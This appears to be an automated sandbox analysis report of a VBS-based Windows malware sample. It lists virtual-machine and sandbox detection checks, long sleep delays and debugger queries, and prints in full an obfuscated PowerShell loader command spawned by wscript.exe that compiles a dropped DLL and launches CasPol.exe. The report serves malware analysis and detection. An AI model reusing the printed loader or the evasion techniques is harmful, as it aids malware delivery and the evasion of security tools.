Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect Any.run

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: powershell.exe, 00000006.00000002.86777664245.0000000007280000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: powershell.exe, 00000006.00000002.86781234856.000000000734F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE,

Potential evasive VBS script found (use of timer() function in loop)

Source: Initial file

Initial file: do while timer-temp<sec

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe TID: 3308	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe TID: 3308	Thread sleep time: -90000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe TID: 4272	Thread sleep count: 685 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe TID: 4272	Thread sleep time: -342500s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe TID: 3308	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.dll

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9040			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Window / User API: threadDelayed 685			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

System information queried: ModuleInformation

Jump to behavior

Source: powershell.exe, 00000006.00000002.86817086620.000000000ABB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Shutdown Service
Source: powershell.exe, 00000006.00000002.86817086620.000000000ABB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: powershell.exe, 00000006.00000002.86817086620.000000000ABB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicshutdown
Source: powershell.exe, 00000006.00000002.86817086620.000000000ABB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: powershell.exe, 00000006.00000002.86817086620.000000000ABB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V PowerShell Direct Service
Source: powershell.exe, 00000006.00000002.86817086620.000000000ABB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Time Synchronization Service
Source: powershell.exe, 00000006.00000002.86817086620.000000000ABB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicvss
Source: CasPol.exe, 0000000C.00000002.91096675961.00000000014A3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: CasPol.exe, 0000000C.00000002.91095102327.0000000001440000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: powershell.exe, 00000006.00000002.86781234856.000000000734F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe,
Source: powershell.exe, 00000006.00000002.86817086620.000000000ABB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Data Exchange Service
Source: powershell.exe, 00000006.00000002.86817086620.000000000ABB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Heartbeat Service
Source: powershell.exe, 00000006.00000002.86817086620.000000000ABB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Service Interface
Source: powershell.exe, 00000006.00000002.86777664245.0000000007280000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exe
Source: powershell.exe, 00000006.00000002.86817086620.000000000ABB9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicheartbeat

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Code function: 12_2_20496418 LdrInitializeThunk,

12_2_20496418

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "$biliate = """laabrdgedga-sttdiycopsteun st-udthoyaupepewrdreetrfpaiusnumiretcoimaofrnsv sm'reusksunifuncogkn tosphyprsjatnuesimst;viusmsprisknangim prsplyeusgrtgueoemfo.rerpuuconhutsoifrmfreil.joifonsntsnelurcoopapjastrererelvkuiticreefesbr;ampupukobsnlvoidecaw sasrutrhajetaaitecsv brceslfoaunsvasle ebtinubaebaiourceokonpr1ci sh{ti[phdaflullbuimimhapmaoafreutan(ad`"""inuluskiekarme3br2si`"""rr)ri]gopmauflbstlmeitycsa aeskatinahjtsmisvcne stehoxattimeteropnna gribenbrtno yddmierestotenrbrostyovcspamermiecotkl(sn)me;sm[afdepllulreienmflprdoharegtbr(ov`"""migaldmeipl3in2er`"""te)ce]tapeuudrbculmaihjcas lgsudttrabrtsqiercco viebextetveetrrhrnma foibanartha stsbrcudagrllaeskwteiscnsudreobuwcrevexchtstesuxkn(noifinkutse modlnrigibefratpl,reiannaltju beaudmambmiupalheaap,diifonkntsp jubprasesvaoqu,mailenimtba noiafadagvrtpotsyaov,chigenpltre divsaetvjsimboasotan1un5fr8ud,giitinstter yemsucslgkursk)eg;ak[kuddilbulimirdmampanovarprtfr(sk`"""svksqerorpinflerelpa3ov2as`"""tr)wo]hepmeurobbalfrilucre hysmitfoaunttaitmcja anedexmitkuesarblnoi reifansutov drhdeestabapblsbeispzbaeko(stiunnditou ycpkerbrourpre,phisonxatcl aianodstrchefosov,viidenjutdi mutimowerartinrfripo)mo;co[sldoplsalspiapmunpreosjrrotko(wh`"""jgsschdiebilshlko3ge2re.vaduflomlun`"""st)un]beppauslboslbeiuncas masmntsyaletfritrcpr noevixratfoererwenun sevenofuitrdrh padterflafigmefciiennstikasbehmi(esibonsutpo opomumpldserge)ba;ej[spdfalbelmeilimhepfroudrgutau(je`"""mawskifantemnumin.apdkolbolfl`"""fu)ho]scpovuprbmdlviialcba bossatasahotliifocsi veenoxluthaebirjenla hoiennnatgu armtjihoxscedartrgswejotcodtrefivsuckeamipqussu(skiblncitch benpribrtserud,uditincotjo vafaseewlob,thivinquteo noaphfafsxi9im3bl)ta;ls[chdculcalhaipumcipicofarretsl(be`"""rekgletrrhinatesilek3sa2ur`"""ti)de]papfeudrbfolopilkctn busabtsyaudtmeisocfr coeimxfatmoefrrnanto trimentotal kaludoescaskqurosepasphoovuforjucapeph(roiafncotte velexesoiun)ir;un[redpiliwloyilammipshostrfatcr(bo`"""flkauecervantoejelav3pl2re`"""se)co]unpanucoboplfoilacla casrotopauntmuikacti wieknxentreeudrtrntr ariponintsl pivinistrpetrauacatilvaatelbelclothcfa(tristnsotwi gevgr1sk,smilunthtor cavbl2ne,keistncotby hevdr3pa,heiganuptku svvca4in)pr;py[drdmalinlpribrmhepploknrpttba(ho`"""craundbevalatopanicr3st2ph.wadbelsalci`"""to)un]stptiurebsylpuiencfo cosmotunaunthuiatcst meemixdotofeadrinnro suvbeoupividti cimtrabipbegateoensleglrpribrccomfiaunsankvn(saisknmetpe plbinrtriodnobkir,doidenqutru camchiuddtitknssn)in;ov[trdrelselfuiunmripgoosuromtsc(ve`"""brkvaemermanpeesklst3co2in`"""ef)ce]bepkoumybkollbicocun edsgatkuatetkoiaaclu noevexprtneeunranncy prisenlvtplpfotborkr scegansuumemfuschyfrspotbeeoomfjlguoflcsranelgaevosprwun(paudiieynsttpe grvex1ma,psihankoten kovgr2ha)et;om[oodrhldilflisumenpskoovrtrtsp(st`"""obkedeelrrentaedaldi3sc2di`"""si)ni]fopchutlbdalcaialcli smsnytvaaretprisuctr luebexgattregermanbr reigunentan unsgieunttiten
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" "$biliate = """laabrdgedga-sttdiycopsteun st-udthoyaupepewrdreetrfpaiusnumiretcoimaofrnsv sm'reusksunifuncogkn tosphyprsjatnuesimst;viusmsprisknangim prsplyeusgrtgueoemfo.rerpuuconhutsoifrmfreil.joifonsntsnelurcoopapjastrererelvkuiticreefesbr;ampupukobsnlvoidecaw sasrutrhajetaaitecsv brceslfoaunsvasle ebtinubaebaiourceokonpr1ci sh{ti[phdaflullbuimimhapmaoafreutan(ad`"""inuluskiekarme3br2si`"""rr)ri]gopmauflbstlmeitycsa aeskatinahjtsmisvcne stehoxattimeteropnna gribenbrtno yddmierestotenrbrostyovcspamermiecotkl(sn)me;sm[afdepllulreienmflprdoharegtbr(ov`"""migaldmeipl3in2er`"""te)ce]tapeuudrbculmaihjcas lgsudttrabrtsqiercco viebextetveetrrhrnma foibanartha stsbrcudagrllaeskwteiscnsudreobuwcrevexchtstesuxkn(noifinkutse modlnrigibefratpl,reiannaltju beaudmambmiupalheaap,diifonkntsp jubprasesvaoqu,mailenimtba noiafadagvrtpotsyaov,chigenpltre divsaetvjsimboasotan1un5fr8ud,giitinstter yemsucslgkursk)eg;ak[kuddilbulimirdmampanovarprtfr(sk`"""svksqerorpinflerelpa3ov2as`"""tr)wo]hepmeurobbalfrilucre hysmitfoaunttaitmcja anedexmitkuesarblnoi reifansutov drhdeestabapblsbeispzbaeko(stiunnditou ycpkerbrourpre,phisonxatcl aianodstrchefosov,viidenjutdi mutimowerartinrfripo)mo;co[sldoplsalspiapmunpreosjrrotko(wh`"""jgsschdiebilshlko3ge2re.vaduflomlun`"""st)un]beppauslboslbeiuncas masmntsyaletfritrcpr noevixratfoererwenun sevenofuitrdrh padterflafigmefciiennstikasbehmi(esibonsutpo opomumpldserge)ba;ej[spdfalbelmeilimhepfroudrgutau(je`"""mawskifantemnumin.apdkolbolfl`"""fu)ho]scpovuprbmdlviialcba bossatasahotliifocsi veenoxluthaebirjenla hoiennnatgu armtjihoxscedartrgswejotcodtrefivsuckeamipqussu(skiblncitch benpribrtserud,uditincotjo vafaseewlob,thivinquteo noaphfafsxi9im3bl)ta;ls[chdculcalhaipumcipicofarretsl(be`"""rekgletrrhinatesilek3sa2ur`"""ti)de]papfeudrbfolopilkctn busabtsyaudtmeisocfr coeimxfatmoefrrnanto trimentotal kaludoescaskqurosepasphoovuforjucapeph(roiafncotte velexesoiun)ir;un[redpiliwloyilammipshostrfatcr(bo`"""flkauecervantoejelav3pl2re`"""se)co]unpanucoboplfoilacla casrotopauntmuikacti wieknxentreeudrtrntr ariponintsl pivinistrpetrauacatilvaatelbelclothcfa(tristnsotwi gevgr1sk,smilunthtor cavbl2ne,keistncotby hevdr3pa,heiganuptku svvca4in)pr;py[drdmalinlpribrmhepploknrpttba(ho`"""craundbevalatopanicr3st2ph.wadbelsalci`"""to)un]stptiurebsylpuiencfo cosmotunaunthuiatcst meemixdotofeadrinnro suvbeoupividti cimtrabipbegateoensleglrpribrccomfiaunsankvn(saisknmetpe plbinrtriodnobkir,doidenqutru camchiuddtitknssn)in;ov[trdrelselfuiunmripgoosuromtsc(ve`"""brkvaemermanpeesklst3co2in`"""ef)ce]bepkoumybkollbicocun edsgatkuatetkoiaaclu noevexprtneeunranncy prisenlvtplpfotborkr scegansuumemfuschyfrspotbeeoomfjlguoflcsranelgaevosprwun(paudiieynsttpe grvex1ma,psihankoten kovgr2ha)et;om[oodrhldilflisumenpskoovrtrtsp(st`"""obkedeelrrentaedaldi3sc2di`"""si)ni]fopchutlbdalcaialcli smsnytvaaretprisuctr luebexgattregermanbr reigunentan unsgieunttiten			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe CMD.EXE /c echo C:\Windows	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Biliate = """LaABrdGedGa-StTDiyCopsteUn St-UdThoyAupepeWrDReeTrfPaiUsnUmiRetCoiMaoFrnSv Sm'ReuSksUniFunCogKn ToSPhyPrsJatNueSimst;viuSmsPriSknangIm PrSPlyEusGrtgueoemFo.ReRPuuConHutSoiFrmFreIl.JoIFonSntSneLurCooPapJaSTreRerElvKuiticReeFesBr;AmpUpuKobsnlVoiDecAw sasRutRhajetaaiTecSv BrcEslFoaUnsVasLe EbTInuBaeBaiOurCeoKonPr1Ci Sh{Ti[PhDAflUllBuIMimHapMaoAfrEutAn(ad`"""InuLusKieKarMe3Br2Si`"""Rr)Ri]GopMauFlbStlMeiTycSa AesKatInaHjtSmiSvcNe SteHoxattImeTerOpnNa GriBenBrtNo YdDMieResTotEnrBroStyOvCspaMerMieCotKl(sn)Me;Sm[AfDEplLulReIenmFlpRdoHarEgtBr(Ov`"""MigAldMeiPl3In2Er`"""Te)Ce]tapEuuDrbCulMaiHjcAs LgsUdtTraBrtSqiercCo VieBexTetVeetrrHrnMa FoiBanArtHa StSBrcUdaGrlLaeSkWTeiScnSudReoBuwCrEVexChtstESuxKn(NoiFinKutSe MoDLnrIgiBefRatPl,ReiAnnAltJu BeAUdmAmbMiuPalHeaAp,DiiFonKntSp juBpraSesVaoQu,MaiLenImtBa NoiAfaDagVrtPotSyaOv,ChiGenpltRe diVSaeTvjSimboaSotAn1Un5Fr8Ud,GiiTinSttEr YeMSucSlgKurSk)Eg;Ak[KuDDilBulImIRdmAmpAnoVarPrtFr(Sk`"""SvkSqeRorpinFleRelPa3Ov2as`"""Tr)Wo]hepMeuRobBalFriLucRe HysMitFoaUntTaiTmcJa aneDexMitKueSarBlnOi ReiFanSutov drHDeeStaBapBlSBeiSpzBaeKo(StiUnnDitOu YcPKerBroUrpRe,PhiSonxatCl AiANodStrCheFosOv,ViiDenJutDi MuTImoWerArtInrfriPo)Mo;Co[SlDOplSalSpIApmunpReoSjrRotKo(wh`"""JgsSchdieBilShlko3Ge2re.VadUflOmlUn`"""St)Un]BepPauSlbOslBeiUncAs MasMntSyaLetFriTrcpr NoeVixRatFoeRerWenun SevEnofuiTrdRh PaDterFlaFigMeFCiiEnnStiKasBehMi(EsiBonSutPo OpOMumPldSerGe)Ba;Ej[SpDFalBelMeILimhepFroUdrGutAu(Je`"""mawSkifanTemNumIn.ApdKolBolFl`"""Fu)Ho]ScpOvuPrbMdlViiAlcBa BosSatAsaHotLiiFocSi VeeNoxLutHaeBirJenLa HoiennNatGu ArmtjiHoxSceDarTrGSwejotCoDTreFivSuCKeaMipqusSu(SkiBlnCitCh BeNPriBrtSerUd,UditinCotJo VaFaseEwlOb,ThivinQutEo NoAPhfAfsXi9Im3Bl)Ta;Ls[ChDCulCalHaIPumCipIcoFarRetSl(Be`"""RekGleTrrhinAteSilEk3Sa2ur`"""Ti)De]PapFeuDrbFolOpiLkcTn BusAbtSyaUdtMeiSocfr CoeImxFatMoeFrrnanto triMenTotAl KaLUdoEscAskQuRosepasphoOvuForJucApeph(RoiAfnCotTe VeLExeSoiUn)Ir;Un[ReDPilIwlOyILammipShoStrFatCr(Bo`"""FlkAueCervanToeJelAv3Pl2Re`"""Se)Co]UnpAnuCobOplFoilacLa CasrotOpaUntMuiKacTi WieKnxEntReeUdrTrnTr AriPonIntSl PiVIniStrpetrauAcaTilvaATelBelCloThcFa(TriStnSotWi GevGr1Sk,SmiLunThtOr CavBl2Ne,KeiStnCotBy Hevdr3pa,HeiGanUptku SvvCa4In)pr;Py[DrDMalInlPrIBrmHepPloKnrPttba(Ho`"""CrAUnDBeVAlAToPanICr3St2Ph.WaDBeLSaLCi`"""To)Un]StpTiuRebSylPuiEncFo CosMotUnaUntHuiAtcst MeeMixDotOfeAdrInnRo SuvBeoUpiVidTi CiMTraBipBeGAteOenSleGlrPriBrcCoMFiaUnsAnkVn(SaiSknMetPe PlBInrTriOdnObkIr,DoiDenQutRu CaMChiUddtitKnsSn)In;Ov[TrDRelSelFuIUnmRipGoosurOmtSc(Ve`"""BrkVaeMerManPeeSklSt3Co2In`"""ef)Ce]BepKouMybKolLbiCocUn EdsGatKuaTetKoiaacLu NoeVexPrtNeeUnrAnnCy PrISenLvtPlPFotBorkr ScEGanSuumemfuSChyFrsPotBeeOomFjLGuoFlcSraNelGaeVosPrWUn(PauDiiEynSttPe GrvEx1ma,PsiHanKotEn KovGr2Ha)Et;Om[OoDrhlDilFlIsumEnpSkoOvrTrtSp(St`"""ObkEdeElrRenTaeDalDi3Sc2Di`"""Si)Ni]FopChuTlbDalCaiAlcLi SmsNytvaaretPriSucTr LueBexGatTreGerManbr ReiGunentAn UnSGieUntTiTEn	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.cmdline	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7743.tmp" "c:\Users\user\AppData\Local\Temp\0j5ctfzr\CSC3A80B568F8BB4D66897E5CE811419E16.TMP"	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0213~31bf3856ad364e35~amd64~~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
